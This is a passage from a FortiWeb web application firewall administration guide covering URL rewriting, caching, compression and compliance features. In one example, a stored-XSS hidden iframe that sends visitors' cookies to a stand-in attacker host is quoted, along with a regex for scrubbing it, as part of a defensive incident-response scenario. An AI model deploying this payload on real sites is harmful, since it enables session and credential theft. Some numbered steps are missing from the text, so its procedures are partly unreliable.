http://www.example.com/wordpress/?feed=rss2
Simply knowing the file name, that the blog uses PHP, its compatible database types, and the names of parameters via
the URL could help an attacker to craft an appropriate attack for that platform. By rewriting the URL to something more
human-readable and less platform-specific, the details can be hidden:
http://www.example.com/rss2
Aside from security reasons, rewriting and redirects can be for aesthetic or business purposes, too. Financial institutions
can transparently redirect customers that accidentally request HTTP:
http://bank.example.com/login
to authenticate and do transactions on their secured HTTPS site:

https://bank.example.com/login
Additional uses could include:

l During maintenance windows, requests can be redirected to a read-only server.
l International customers can use global URLs, with no need to configure the back-end web servers to respond to
additional HTTP virtual host names.
l Shorter URLs with easy-to-remember phrases and formatting are easier for customers to understand, remember,
and return to.
Much more than their name implies, “URL rewriting rules” can do all of those things, and more:
l Redirect HTTP requests to HTTPS
l Rewrite the URL line in the header of an HTTP request
l Rewrite the Host: field in the header of an HTTP request
l Rewrite the Referer: field in the header of an HTTP request
l Redirect requests to another website
l Send a 403 Forbidden response to a matching HTTP requests
l Rewrite the HTTP location line in the header of a matching redirect response from the web server
l Rewrite the body of an HTTP response from the web server
Rewrites/redirects are not supported in all modes. For details, see Supported
FortiWeb cannot rewrite requests that exceed FortiWeb’s buffer size. To
block requests that cannot be rewritten, configure Malformed Request on page 538.
Rewrites will work on single requests as well as those that have been fragmented using:
Tranfer-Encoding: chunked

To configure a rewriting/redirection rule
1. Go to Application Delivery > URL Rewriting and select the URL Rewriting Rule tab.

The configuration options vary according to your settings in Action Type, and Request Action or Response
Action.
characters.
4. In Action Type, select whether this rule will rewrite HTTP requests from clients (Request Action) or HTTP
responses from the web server (Response Action).
The next step varies by your selection in this step.
5. If you selected Request Action in Action Type, in the Request Action drop-down list, select one of the
following:
l Rewrite HTTP Header—Rewrites part(s) of the header in the HTTP request before passing it to the web
server. Also configure these settings:
Host Enable then type either a host name, such as store.example.com, or IP

address if you want to replace the value of the Host: field in the header of
HTTP requests. Requests will be redirected to this web host.
This field supports back references such as $0 to the parts of the original
request that matched any capture groups that you entered in Regular
Expression on page 631 for each object in the condition table. A capture group
is a regular expression, or part of one, surrounded in parentheses. For details,
see Regular expression syntax on page 880.
For an example, see Example: Rewriting URLs using variables on page 642.
Using Physical Server Enable to insert the variable FortiWeb_PSERVER in Host on page 629.
At the time of each specific HTTP request, FortiWeb will replace this variable
with the IP address of the physical server to which it is forwarding the request.
Tip: Use this option when the Deployment Mode on page 244 option in the
server policies using this rule is either Server Balance or HTTP Content
Routing. In such cases, by definition of load balancing, HTTP requests will
be distributed among multiple web servers, and the specific IP addresses of
the physical servers cannot be known in advance.
URL Enable then type a string, such as /catalog/item1, if you want to replace
the URL in the HTTP request.
Do not include the name of the web host, such as www.example.com, nor
the protocol.
Like Host on page 629, this field supports back references such as $0 to the
parts of the original request that matched any capture groups that you entered
in Regular Expression on page 631 for each object in the condition table. For
details, see What are back-references? on page 885.
For an example, see Example: Rewriting URLs using regular expressions on
page 642.
Referer Enable then type a URI, such as http://www.example.com/index, if

you want to rewrite the Referer: field in the HTTP header.
This option is available only if Request Action is Rewrite HTTP Header.

Using Physical Server Enable to insert the variable FortiWeb_PSERVER in Referer on page 629.
At the time of each specific HTTP request, FortiWeb will replace this variable
with the IP address of the physical server to which it is forwarding the request.
Tip: Use this option when the Deployment Mode on page 244 option in the
server policies using this rule is either Server Balance or HTTP Content
Routing. In such cases, by definition of load balancing, HTTP requests will
be distributed among multiple web servers, and the specific IP addresses of
the physical servers cannot be known in advance.
Header Field Name Enable to insert the name of the header field that you want to insert to a
request, such as "Myheader".
Header Field Value Enable to insert the value of the header field that you specified in Header
Field Name on page 630, such as "123". Then, the customized header
Myheader: 123 will be inserted to the matched HTTP requests.
You can also insert the client IP and client port such as "$CLIENT_
IP:$CLIENT_PORT" in the request direction and send them to the back-end
server.
l Redirect (301 Permanently) or Redirect (302 Temporary)—In Location, type a URI, such as
http://www.example.com/new-url, to use in the e 301 Moved Permanently or the 302 Moved
Temporarily redirection HTTP response from the FortiWeb appliance. Like Host on page 629 and URL on
page 629, this field supports back-references such as $0. For details, see What are back-references? on page
885.
l Send 403 Forbidden—Return a 403 Forbidden response to the client.
6. If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the
following:
l Rewrite HTTP Body—In Replacement, type the string that will replace content in the body of HTTP
responses. For details, see What are back-references? on page 885 and Cookbook regular expressions on
page 886.
l Rewrite HTTP Location—In Location, type a URI, such as http://www.example.com/new-url, to
use in the 302 Moved Temporarily redirection when the HTTP response matches. Like Host on page
629 and URL on page 629, this field supports back-references such as $0. For details, see What are back-
references? on page 885.
7. Click Create New to add match conditions for the rule to URL Rewriting Condition Table.
Object Select which part of the HTTP request will be tested for a match:
l HTTP Host—The Host: field in the HTTP header.
This option does not appear if Response Action in If you selected
Response Action in Action Type, in the Response Action drop-down list,
select one of the following: on page 630 was Rewrite HTTP Body.
l HTTP Request URL—The URL in the HTTP header. The URL can be
up to 1,024 characters long, unless superseded by HTTP constraints such
as Total URL Parameters Length on page 533.
l HTTP Referer—The Referer: field in the HTTP header. This option

appears only if Action Type in In Action Type, select whether this rule
will rewrite HTTP requests from clients (Request Action) or HTTP
responses from the web server (Response Action). on page 629 was
Request Action.
l HTTP Body—The content of the request, such as an HTML document.
This option appears only if Response Action in If you selected
l HTTP Location—The Location: field in the header of the request.
This option appears only if Response Action in If you selected
select one of the following: on page 630 was Rewrite HTTP Location.
If the request must meet multiple conditions (for example, it must contain
both a matching Host: field and a matching URL), add each condition to the
condition table separately.
Regular Expression Depending on your selection in Object on page 630 and Meet this condition if
on page 632, type a regular expression that defines either all matching or all
non-matching objects. Also configure Meet this condition if on page 632.
For example, for the URL rewriting rule to match all URLs that begin with
/wordpress, you could enter ^/wordpress, then, in Meet this condition if
on page 632, select Object matches the regular expression.
The pattern is not required to begin with a slash ( / ).
When you have finished typing the regular expression, click the >> (test) icon.
This opens the Regular Expression Validator window where you can fine-
tune the expression. For details, see Regular expression syntax on page 880,
What are back-references? on page 885 and Cookbook regular expressions on
page 886.
Protocol Filter Enable if you want to match this condition only for either HTTP or HTTPS.
Also configure Protocol on page 631.
For example, you could redirect clients that accidentally request the login
page by HTTP to a more secure HTTPS channel—but the redirect is not
necessary for HTTPS requests.
As another example, if URLs in HTTPS requests should be exempt from
rewriting, you could configure the rewriting rule to apply only to HTTP
requests.
Protocol Select which protocol will match this condition, either HTTP or HTTPS.
This option appears only if Protocol Filter on page 631 is enabled.
Content Type Filter Enable if you want to match this condition only for specific HTTP content
types (also called Internet or MIME file types) such as text/html, as
indicated in the Content-Type: HTTP header. Also configure Content
Type Set on page 632.

Content Type Set In the left text area, select one or more HTTP content types that you want to
match this condition, then click the right arrow button to move them into the
text area on the right side.
This option is visible only if Content Type Filter on page 631 is enabled.
Meet this condition if Indicate how to use Regular Expression on page 631 when determining
whether or not this URL rewriting condition is met.
l Object does not match the regular expression—If the regular
expression does not match the request object, the condition is met.
l Object matches the regular expression—If the regular expression
does match the request object, the condition is met.
If all conditions are met, the FortiWeb appliance executes the Request
Action or Response Action, whichever you selected.
9. If you selected HTTP Referer from Object on page 630, also configure these settings:
If no Referer field in HTTP Select either:

header l Do not meet this condition
l Meet this condition
Requests can lack a Referer: field for several reasons, such as if the user
manually types the URL, and the request does not result from a hyperlink from
another website, or if the URL resulted from an HTTPS connection. In those
cases, the field cannot be tested for a matching value. For details, see the
RFC 2616 (http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html)
section on the Referer: field.
This option appears only if Object on page 630 is HTTP Referer.
10. Click OK.

11. Repeat the previous two steps until you have defined all matching HTTP requests or responses that should be
rewritten as defined in this rule.
12. Go to Application Delivery > URL Rewriting and select the URL Rewriting Policy tab.
characters.
15. Click OK.
17. From the Rewriting Rule Name drop-down list, select the name of an existing rewriting rule to add to the policy.
To view or change the information associated with the rule, click the icon. The URL Rewriting Rule dialog
appears, and you can view and edit the rules here. Use your browser’s Back button to return.
18. Click OK.
19. Repeat the previous steps for each rule you want to add to the rewriting policy.
20. If you are rewriting a response from the web server, and it is compressed, configure a decompression rule so that
FortiWeb will be able to rewrite. For details, see Compression on page 648.
21. To apply the rewriting policy, select it in an inline protection profile. For details, see Configuring a protection profile

See also

l Example: HTTP-to-HTTPS redirect on page 633
l Example: Full host name/URL translation on page 636
l Example: Rewriting URLs using regular expressions on page 642
l Example: Rewriting URLs using variables on page 642
l Regular expression syntax on page 880
l What are back-references? on page 885
l Cookbook regular expressions on page 886
Example: HTTP-to-HTTPS redirect
Example.com is a business-oriented social media provider. Its clients require that attackers cannot fraudulently post
comments. If an attacker can post while disguised as originating from the client’s business, as this could enable an
attacker to ruin a business’s reputation.
To provide clients with protection from HTTP session hijacking tools such as Firesheep, Example.com wants to
automatically redirect all HTTP requests to HTTPS. This way, before the client attempts to log in and exposes both
their credentials and HTTP session ID to an eavesdropper, the response and subsequent requests are SSL/TLS
encrypted, and thereby protected.
The Redirect HTTP to HTTPS option in the server policy configuration allows you to redirect all HTTP requests to
equivalent URLs on a secure site.
Alternatively, you can create a rewriting rule that matches all HTTP requests, regardless of host name variations or
URL, such as:
http://www.example.com/login
http://www.example.co.jp/
and redirects them to the equivalent URL on its secure sites:

https://www.example.com/login
https://www.example.co.jp/
This rewriting rule has 3 parts:

l Regular expression that matches HTTP requests with any host name—(.*)
This regular expression should not match HTTPS requests, since it would decrease
performance to redirect requests that are already in HTTPS.
l Regular expression that matches requests with any URL in the HTTP header—^/(.*)$
l Redirect destination location that assembles the host name ($0) and URL ($1) from the request in front of the new
protocol prefix, https://
For details, see What are back-references? on page 885.
This could be configured via either the CLI or web UI.


CLI commands to implement this are:

config waf url-rewrite url-rewrite-rule
edit "http_to_https"
set action redirect
set location "https://$0/$1"
set host-status disable
set host-use-pserver disable
set referer-status disable
set referer-use-pserver disable
set url-status disable
config match-condition
edit 1
set reg-exp "(.*)"
set protocol-filter enable
next
edit 2
set object http-url
set reg-exp "^/(.*)$"
next
end
next
end
config waf url-rewrite url-rewrite-policy
edit "http_to_https"
config rule
edit 1
set url-rewrite-rule-name "http_to_https"
next
end
next
end

See also
l Example: Full host name/URL translation on page 636

Example: Full host name/URL translation
www.example.com wants to translate its domain name: the external DNS name should be rewritten to the internal DNS
name, and vice versa.
When the external DNS name www.example.com appears in the client’s request’s HTTP Host: header, it should be
rewritten to www-internal.example.com.
In the server’s response traffic, when the internal DNS name www-internal.example.com appears in the Location:
header, or in hyperlinks in the document body, it must be rewritten.
To do this, three rewriting rules and conditions must be created, one for each of part that FortiWeb must rewrite.
Example request host name rewrite
Object on page 630 HTTP Host

Regular Expression on page 631 in URL match condition www.example.com
Host on page 629 www-internal.example.com

Example response location rewrite
Object on page 630 HTTP Location

Regular Expression on page 631 in URL match condition (.*)www-internal.example.com(.*)
Location $0www.example.com$1
Example response hyperlink rewrite
Object on page 630 HTTP Body

Regular Expression on page 631 www-internal.example.com
Replacement www.example.com

See also

Example: Sanitizing poisoned HTML
Example.com is a cloud hosting service provider that has just bought several FortiWeb appliances. Thousands of
customers rely on it to maintain database-backed web servers. Before FortiWeb was added to its network, its web
servers were regularly being attacked. Without HTTP-savvy intrusion detection and filtering, these posts poisoned many
of its web applications by using XSS to inject stored clickjacking attacks into login pages.
Example.com wants to mitigate the effects of prior attacks to protect innocent clients while its incident response team
finishes forensic work to audit all applications for impact and complete remediation. To do this, it will rewrite the body of
offending responses.
Example.com’s incident response team has already found some of the poisoned HTML that is afflicting some login
pages. All major web browsers are currently vulnerable.
It replaces the login pages of the web application with a hidden frame set which it uses to steal session or login cookies
and spy on login attempts. The attacker can then use stolen login credentials or use the fraudulent session cookies. For
bank clients, this is especially devastating: the attacker now has complete account access, including to credit cards.
To mitigate effects, example.com wants to scrub the malicious HTML from responses, before they reach clients that
could unwittingly participate in attacks, or have their identities stolen.
To do this, FortiWeb will rewrite the injected attack:
<iframe src="javascript:document.location.href=
‘attacker.example.net/peep?url=‘+
parent.location.href.toString()+‘lulz=‘
escape(document.cookie);"

sandbox="allow-scripts allow-forms"
style="width:0%;height:0%;position:absolute;left:-9999em;">
</iframe>
into a null string to delete it from the infected web server’s response. FortiWeb will replace the attack with its own
content:
<script src="http://irt.example.com/toDo.jss></script>
so that each infected response posts the infected host name, URL, and attack permutation to a “to do” list for the
incident response team, as well as notifying the impacted customer.
Since attackers often try new attack forms to evade filters, the example regular expression will use a few techniques for
flexible matching:
l case insensitivity—(?i)
l alternative quotation marks—["'`?“”„?‚’‘'?‹›«»]
l word breaks of zero or more white spaces—(\s)*
l word breaks using forward slashes instead of white space—[\s\/]*
l zero or more new line breaks within the tag—(\n|.)*
Example HTML body rewrite using regular expressions

Regular Expression on page 631 (?i)<(\s)*iframe[\s\/]*src=(\s)*["'`?“”„?
‚’‘'?‹›«»]javascript:(\n|.)*</iframe>
Replacement <script
src="http://irt.example.com/toDo.jss></script>
Create a new URL rewriting rule:
Create a new URL rewriting condition in the rule:

Complete the replacement strings in body:
See also


Example: Inserting & deleting body text
Example.com wants to delete some text, and insert other text. As an example, it wants to change:
Hey everyone, this works!
to:
Hey, this works now!
To do this, it will rewrite matching parts of the body in the web server’s response.
The regular expression contains capture groups (.*) that create numbered substrings—back-references such as $0—
that you can recall by their number when writing the replacement text. By omitting a capture group (in this case, $1 is
omitted from Replacement), that part of the text is removed. To insert text, simply add it to the replacement text.
Example body rewrite using regular expressions

Regular Expression on page 631 (.*)(everyone), (.*)(works)!
Replacement $0, $2 $3 now!
See also


Example: Rewriting URLs using regular expressions
Example.edu is a large university. Professors use a mixture of WordPress and Movable Type software for their course
web pages to keep students updated. In addition, the campus bookstore and software store use custom shopping cart
software. The URLs of these web applications contain clues about the underlying vendors, databases and scripting
languages.
The university is a frequent target of attacks because it is a large organization with many mobile users and guests, and
an Internet connection with large bandwidth. Its network administrators want to hide the underlying technology to make
it more difficult for attackers to craft platform-specific attacks. Example.edu also wants to make clients’ bookmarked
URLs more permanent, so that clients will not need to repair them if the university switches software vendors.
Because it has so many URLs, the university uses regular expressions to rewrite sets of similar URLs, rather than
configuring rewrites for each URL individually. More specific URL rewrite rules are selected first in the URL rewriting
group, before general ones, due to the affects of the matching order on which each rewrite rule is applied.
Example URL rewrites using regular expressions
Regular expression in URL URL Example URL in client’s Result

match condition request
^/cgi/python/ustore/payment.html$ /store/checkout /cgi/python/ustore/payment.html /store/checkout
^/ustore*$ /store/view /ustore/viewItem.asp?id=1&img=2 /store/view
/Wordpress/(.*) /blog/$0 /wordpress/10/11/24 /blog/10/11/24
/(.*)\.xml /$0 /index.xml /index
See also

Example: Rewriting URLs using variables
Example.com has a website that uses ASP, but the administrator wants it to appear that the website uses PHP. To do
this, the administrator configured a rule that changes any requested file's extension which is asp into php.
The condition table contains two match conditions, in this order:
The Host: may be anything.

The request URL must end in .asp.
If both of those are true, the request is rewritten.

The administrator does not want to rewrite matching requests into a single URL. Instead, the administrator wants each
rewritten URL to re-use parts of the original request.
To assemble the rewritten URL by re-using the original request’s file path and Host:, the administrator uses two back
reference variables: $0 and $1. Each variable refers to a part of the original request. The parts are determined by which
capture group was matched in the Regular Expression on page 631 field of each condition table object.
l $0—The text that matched the first capture group (.*). In this case, because the object is the Host: field, the
matching text is the host name, www.example.com.
l $1—The text that matched the second capture group, which is also (.*). In this case, because the object is the
request URL, the matching text is the file path, news/local.
Example URL rewrites using regular expressions
Example request URL Rewriting Condi- Replacement URL Result

tion Table
www.example.com HTTP Host (.*) Host on $0 www.example.com

page 629
/news/local.asp HTTP URL /(.*)\.asp URL on /$1.php /news/local.php

page 629
See also


Caching 644
Caching
To improve performance of your back-end network and servers by reducing their traffic and processing load, you can
configure FortiWeb to cache responses from your servers.
Normally, FortiWeb forwards all allowed requests to your servers. This results in a 1:1 ratio of client-side to server-side
traffic. When content caching is enabled, however, FortiWeb will forward only requests for content that:
l Does not exist in its cache, and
l Is cacheable (see What can be cached? on page 647)
When many requests are for cached content, the ratio of traffic changes to n:1.
Content caching provides the greatest benefit for things that rarely change, such as icons, background images, movies,
PDFs, and static HTML.
To configure the web caching, you must enable it by going to System > Config
> Feature Visibility.
When you create or edit an HTTP server policy in Policy > Server Policy and enable Web Cache, a web cache policy
will be automatically created in Application Delivery > Caching. While if you delete the web cache enabled HTTP
server policy, or disable Web Cache in the HTTP server policy, the related web cache policy will be removed
automatically. The web cache policy includes no rules, and you need to configure the web cache rules for the policy.
To configure web content caching
1. Go to Application Delivery > Caching.

2. Click to select the web cache policy that you want to configure the rule for.
3. Click Edit.
On Edit Web Cache Policy page, you can view the following information:

Caching 645
l The policy name that quotes the web cache policy;

l The statistics on the hit count in the last 24 hours;
l The web cache status: Caching and Clearing the cache; when it is Clearing the cache status, page content will
not be cached until all cache data is successfully cleared; and the status will return to "Caching".
4. Click Create New to configure web content caching rule.
When multiple web cache rules are defined in a web cache policy, and an HTTP
request matches a specific web cache rule, FortiWeb will take actions according
to the web cache rule settings.
Global Settings
host names entry in order to match the rule. Also configure Host on page 645.
policy.
This option is available only when Host Status on page 645 is enabled.
Path Enter a path for your web pages, for example /test, a prefix of a set of
URLs.
HTTP Method Select whether to cache the response contents according to the HTTP method
you use.
l GET, HEAD (Recommended)
l GET, HEAD, OPTIONS
l GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE
Return Code Select whether to cache the response contents according to the response
code.
l 200 (Recommended)
l 200, 206
l 200, 206, 301, 302
Cache File Type Select whether to cache the response contents according to the content type.
l Text
l Picture
l Media
l Binary
l Other
Key Generation Factor Select the protocol variable that you want to use to generate the cache key.
l Method, such as GET, POST, HEAD, etc.
l Protocol, the string can be either “http://” or “https://”;
l Host
l URL
l Arguments, for example in request
http://host.com/test.php?a=1&b=2

Caching 646
, the Arguments string is “a=1&b=2”.

l Cookies—Once you have created a web cache rule, you can edit the rule
to indicate cookies in HTTP requests and append them to the key string
to generate the cache key.
Validity Settings
Cache Inactive After Specify a timeout threshold that the cache becomes invalid and needs to be
refreshed. After the timeout, the cached web contents will be removed
automatically.
Force Client Cache Refresh Enable to clear the cache based on the specified period.
Client Cache Refresh After Enter a period specified by max-age so that if the client requests the same
contents again in the period, the client can obtain the web content from local
cache directly.
6. Click OK.
7. In Bypass Sub URL, you can configure the URLs not to be cached.
Click Create New.
HTTP Method Select the HTTP method in which the request URL is included.
URL Type Select whether the URL Expression on page 646 field must contain either:
l Simple String—The field is a string that the request sub URLmust
match exactly.
set of matching sub URLs.
URL Expression Depending on your selection in URL Type on page 646, enter either:
l Simple String—Enter a literal sub URL, such as /exp that the HTTP
request must contain in order to match the rule, or use wildcards to match
multiple sub URLs, such as /exp/* or /exp/*/index.htm. The sub
URL must begin with a slash ( / ).
matching the sub URLs to which the rule should apply. The pattern does
not require a slash ( / ), but it must match sub URLs that begin with a
slash, such as /index.cfm.
Bypass Arguments Enable this option and enter the argument name so that the request matches
the bypass URL only when the request brings the specific arguments.
Bypass Cookies Enable this option and enter the cookie name so that the request matches the
bypass URL only when the request brings the specific cookies.
9. Click OK.
You can continue creating multiple bypass sub URL lists.

Caching 647
See also
What can be cached?
Caching generally works best with data that doesn't change. Things like static web pages, images, movies, and music
all typically work well.
When content changes often, caching provides overhead by consuming RAM without its usual benefit of reduced
latency. Some HTTP headers and other factors indicate dynamic content which FortiWeb will not cache.
FortiWeb will not cache responses if the request:
l Contains the header:
l Has fields such as Cache-Control: no-cache/no-store/; Pragma:no-cache
FortiWeb also will not cache if the response:

l Has a Set-Cookie: field
l Has a Vary: field
l Has fields such as Cache-Control: no-cache/no-store/private; Pragma:no-cache; Cache-
Control: max-age=0
l Proxy-Authorization
l Connection
l Keep-Alive
l Proxy-Authenticate
l TE
l Trailers
l Transfer-Encoding
l Upgrade

Compression 648
Compression
Similar to SSL/TLS, you can completely offload compression to FortiWeb to save resources on your web servers.
Configuring compression exemptions
If necessary, you can exempt HTTP Host: names and URLs from compression by FortiWeb. Generally, if a specific
web server already applies compression, and if a specific response never needs to be scanned, compressed, or
rewritten, it should be exempt from compression by FortiWeb.
If compressed, a request or response usually cannot be scanned, rewritten, or

otherwise modified by FortiWeb. If you exempt vulnerable URLs, this will
compromise the security of your network.
To configure a rule exclusion
1. Go to Application Delivery > Compression and select the Exclusion Rule tab.

characters.
4. Click OK.
6. Enable Host Status to require that the Host: field of the HTTP request match a protected host names entry in
order to match the exclusion.
Also configure Host.
7. From the Host drop-down list, select which protected host entry that the Host: field of the HTTP request must be
in to match the exclusion.
This option is available only if Host Status is enabled.
8. In Request URL, enter a literal URL, such as /folder1/index.htm that the HTTP request must contain in
order to match the rule, or use wildcards to match multiple URLs, such as /folder1/* or
The URL must begin with a slash ( / ). The URL must not include the domain or IP address.
9. Click OK.
10. Include the exception in a compression policy. For details, see Configuring compression offloading on page 649.

Compression 649
Configuring compression offloading
Most web servers can be configured to compress files when responding to a request. Compressed files often reduce
bandwidth, and can result in faster delivery time to clients. Modern browsers automatically decompress files before
displaying the web pages.
To successfully decompress and read the response, clients use the corresponding decompression algorithm. Web
servers include an HTTP header such as:
Content-Encoding: gzip
to indicate which algorithm was used to compress the HTTP body:

^_<8B>^H^H+h,M^@^Cimage.png^@<EC><FC>St<AE>K<D4><EF><8B><C6>^\1G<AC>^Q<DB>
<U+0588>Fl۶m۶m۶m<DB>^Y<D1>N<E6><9C><DF>^<AB><B5>sq<CE><D5><D9><FB>b<A5><B5>\<BC><EF><F3>T/<F
5><AA><EA><BF>^?<F5>$DZR^X^F
^C
^@^@^@揈<80>,^@^@ <EF><D7><EF>6^D<D8><D7>7<F3><E1><F5>^B^@^@x^@^?^D<F8><E4><9D>
(content truncated)
To gain the benefits that compression offers, and not to configure it on your web servers, you can offload compression
to FortiWeb instead.
If your web servers are starved for CPU cycles and RAM, offloading compression
from your web servers to FortiWeb can alleviate that bottleneck and improve
performance.
Based upon the HTTP Content-Type: headers that you select (which correspond to Internet file type/MIME type
categories such as images and XML), FortiWeb will compress matching responses. The total size of a large web page
with lengthy JavaScripts and CSS, while in transit, could be many times smaller.
The maximum pre-compressed file size that FortiWeb can compress is 128 KB.
Files larger than that limit will be transmitted without compression.
For example, a typical web page is comprised of several responses, such as an HTML document:
Content-Type: text/html
perhaps several images:

Content-Type: image/png
and a JavaScript:
Content-Type: text/javascript
If your protected web servers do not already apply compression, and you configure a compression policy for
text/html and text/javascript, those typically lengthy and repetitive text-based documents can be efficiently
compressed into much smaller responses. If bandwidth between server and client is the performance bottleneck, this
could improve performance dramatically.

Compression 650
Not all HTTP clients support compression: RPC clients, for example, transmit binary data and do not support
compression. For those host names and/or URLs, you should create exceptions.
To configure a file compression policy
1. Before you configure file compression, configure the exceptions, if any. For details, see Configuring compression
exemptions on page 648.
If your web servers are already configured to compress responses, you should
either disable compression on the server, or configure exceptions for URLs
hosted by that server. Otherwise, in some cases, FortiWeb might expend
resources compressing responses that have already been compressed by the
server. This can cause performance to decrease instead of increase.
2. Go to Application Delivery > Compression and select the File Compress Policy tab.


Compression Type Select the compression method for the content type(s) that you
specify later:
l Gzip—FortiWeb will use gzip for file compression. For details,
see https://tools.ietf.org/html/rfc1952.
l Brotli—FortiWeb will use Brotli for file compression. For
details, see https://tools.ietf.org/html/rfc7932. Also configure
the Compression Level on page 650.
Compression Level This option is available only when you select Brotli for the
Compression Type on page 650. Select the compression level. The
valid range is 1–11.
Exclusion Rule Select an existing exclusion rule, if any, to apply to the policy. For
details, see Configuring compression exemptions on page 648.
Optionally, select an exclusion rule and click the Detail link. The
exclusion dialog appears. You can view and edit the exclusion rule
from here. Use the browser Back button to return.
5. Click OK.
6. To add or remove a content type, click Create New.
7. In the Content Types list, select the content types that you want to compress, then click the right arrow (->) to
move them to the Allow Types list.
For external JavaScripts, content type strings vary. If you are unsure of the content type string, for maximum
coverage, select all JavaScript content type strings. However, due to wide browser compatibility, despite its current
deprecated status, many web servers use text/javascript.

Compression 651
These apply compression only to JavaScripts that are external to a web page —
that is, not directly embedded in a <script> tag or inline in the HTML
document itself, but instead included via reference to a JavaScript file, such as
<script src="/nav/menu.js">, and therefore are contained in a
separate HTTP response from the HTML document. Likewise, selecting the
text/css content type for compression will only compress external CSS. It will
not compress CSS embedded directly within the HTML file. (Embedded CSS or
JavaScript are governed by Content-Type: text/html instead.)
8. Click OK.
9. To apply the compression policy, select it in an inline protection profile used by a server policy. For details, see
See also
l Caching on page 644


Acceleration 652
Acceleration
Acceleration provides a technology solution to speed up web application response and optimize web pages and
resources in real time.
As a module on FortiWeb device, Acceleration is simple to deploy and does not require any integration into Web
application servers or any client installation on end-user devices. With this feature, you can select the approach(es) to
make your web site faster and more user-friendly.
An Acceleration policy specifies the option(s) for optimizing the delivery of web applications. To take full advantage of
the benefits that Acceleration offers, you must first create your own Acceleration policy, and then select the policy in
Policy > Server Policy.
You can also specify certain URLs to be skipped for web application delivery optimization, and add the exception items
to the acceleration policy.
FortiWeb offers options for optimizing the delivery of the following web content:
l HTML
l JavaScript
l CSS
Acceleration is available in Reverse Proxy, True Transparent Proxy, and WCCP operating modes.
If Acceleration is not enabled in Feature Visibility, you must enable it before you
can create an Acceleration policy by going to System > Config > Feature
Visibility.
To create an Acceleration exception rule:

1. Go to Application Delivery > Acceleration.
2. Select the Acceleration Exception tab.
4. For Name, enter a name for the exception rule that can be referenced in an Acceleration policy.
5. Click OK.
Host status Enable to require that the Host: field of the HTTP request match a
protected host names entry in order to match the Acceleration
exceptions rule. Also configure Host on page 652.
Host Select which protected host names entry (either a web host name or
IP address) that the Host: field of the HTTP request must be in to
match the Acceleration exceptions rule.
This option is available only if Host status on page 652 is enabled.
Type Select whether the URL Pattern on page 653 field must contain
either:

Acceleration 653

match exactly.
URL Pattern Depending on your selection in Type on page 652, enter either:
does not require a slash ( / ).
8. Click OK.
You can repeat steps above to add more items.
To create an Acceleration policy:
1. Go to Application Delivery > Acceleration.
2. Select the Acceleration Policy tab.

Acceleration 654
Parameter Description
Acceleration Exceptions Select an Acceleration exception rule from the drop-

down list. You can click the view icon next to views
details bout the rule.
HTML
Minification Enable to minify js in the script and delete the extra white
space and comments to reduce bandwidth utilization.
Combine Heads Enable to combine multiple heads in HTML page to one.
Move CSS to Head Enable to move CSS elements above script tags.
Note: This ensures that the CSS styes are parsed in the
head of the HTML page before any body elements are
introduced. In so doing, it can effectively reduce the
number of times web browsers have to re-flow HTML
documents.
JavaScript
CSS
5. Click OK.
To add the Acceleration policy to a server policy:
2. Select an existing server policy to which you want to include the Acceleration policy.
3. Or click Create HTTP Policy to create a new HTTP server policy.
4. Click Edit.
5. For Application Delivery > Acceleration, select the Acceleration policy from the drop down list.
Note: To view details about a selected Acceleration policy, click the view icon next to the drop down list.
6. Click OK.

Compliance 655
Compliance
Compliance regimes, whether required by law or business organizations, typically require that you demonstrate
effective security policies and practices.
Requirements vary by the regime. HIPAA and the Sarbanes-Oxley Act (SOX) emphasize the need for database
security, authorization, and the prevention of data leaks. HITECH requires disclosure of security breaches. PCI DSS
concerns the prevention of information disclosure but also requires periodic scans.
Database security
As the front door to your databases, your websites are critical to secure. FortiWeb can help to apply ad hoc security to
them by properly constraining web inputs of all kinds, and by preventing data leaks in your web applications’ reply traffic.
If your database has other avenues for input, however, that back door may still be open to attack. Consider a database
security specialist such as FortiDB.

656
Authorization
To ensure that only authenticated individuals can access your websites, and only for the URLS that they are authorized
for, you can use FortiWeb to add PKI authentication and/or HTTP authorization.
For instructions, see How to apply PKI client authentication (personal certificates) on page 411 and Offloading HTTP
authentication & authorization on page 340.
Preventing data leaks
Large companies and organizations often have large stores of personally identifiable information that is valuable on the
black market. Often this takes the form of credit card numbers and passwords, but could also be more specialized
information such as:
l Addresses and names of your business’s clients
l Students’ names and ages
l Email addresses
l IT information on your organization’s computers and their vulnerabilities
To detect and block accidental data leaks from your web pages, or mitigate an attack that has managed to evade
security and is attempting to harvest your databases, you can configure FortiWeb to detect and block those types of
data. For instructions, see Blocking known attacks & data leaks on page 461.
If even your logs must not contain sensitive information, you can configure FortiWeb to omit it. For details, see
Obscuring sensitive data in the logs on page 712.
Vulnerability scans
You can scan for known vulnerabilities on your web servers and web applications, which helps you design protection
profiles that are an effective and efficient use of processing resources.
Vulnerability reports from a certified vendor can help you comply with regulations and certifications that require periodic
vulnerability scans, such as Payment Card Industry Data Security Standard (PCI DSS).
Run vulnerability scans during initial FortiWeb deployment and any time you are staging a new version of your web
applications. You may also be required by your compliance regime to provide reports on a periodic basis, such as
quarterly. For details, see How to set up your FortiWeb on page 66.
Each vulnerability scan starts from an initial URL, authenticates if set up to do so, then scans for vulnerabilities in web
pages that it crawls to from links on the initial page. After performing the scan, the FortiWeb appliance generates a
report from the scan results.

657
To run a web vulnerability scan
1. Optionally, configure email settings. Email settings included in vulnerability scan profiles cause FortiWeb to email
scan reports. For details, see Configuring email settings on page 725.
2. Prepare the staging or development web server for the scan. For details, see Preparing for the vulnerability scan on
page 657.
3. Create a scan schedule, unless you plan to execute the scan manually. The schedule defines the frequency the
scan will be run. For details, see Scheduling web vulnerability scans on page 658.
4. Create a scan profile. The profile defines which vulnerabilities to scan for. For details, see Configuring vulnerability
scan profiles on page 659.
5. Create a scan policy. The policy integrates a scan profile and schedule. For details, see Running vulnerability scans
on page 662.
6. Examine vulnerability scan report. The report provides details and analysis of the scan results. For details, see
Viewing/downloading vulnerability scan reports on page 664.
See also
l Preparing for the vulnerability scan on page 657

l Running vulnerability scans on page 662
l Configuring vulnerability scan profiles on page 659
l Scheduling web vulnerability scans on page 658
l Viewing/downloading vulnerability scan reports on page 664
Preparing for the vulnerability scan
For best results, before running a vulnerability scan, you should prepare the network and target hosts for the
vulnerability scan.
Live websites
Fortinet strongly recommends that you do not scan for vulnerabilities on live websites. Instead, duplicate the website
and its database in a test environment such as a staging server and perform the scan in that environment. For details,
see "Scan Mode" on page 1.
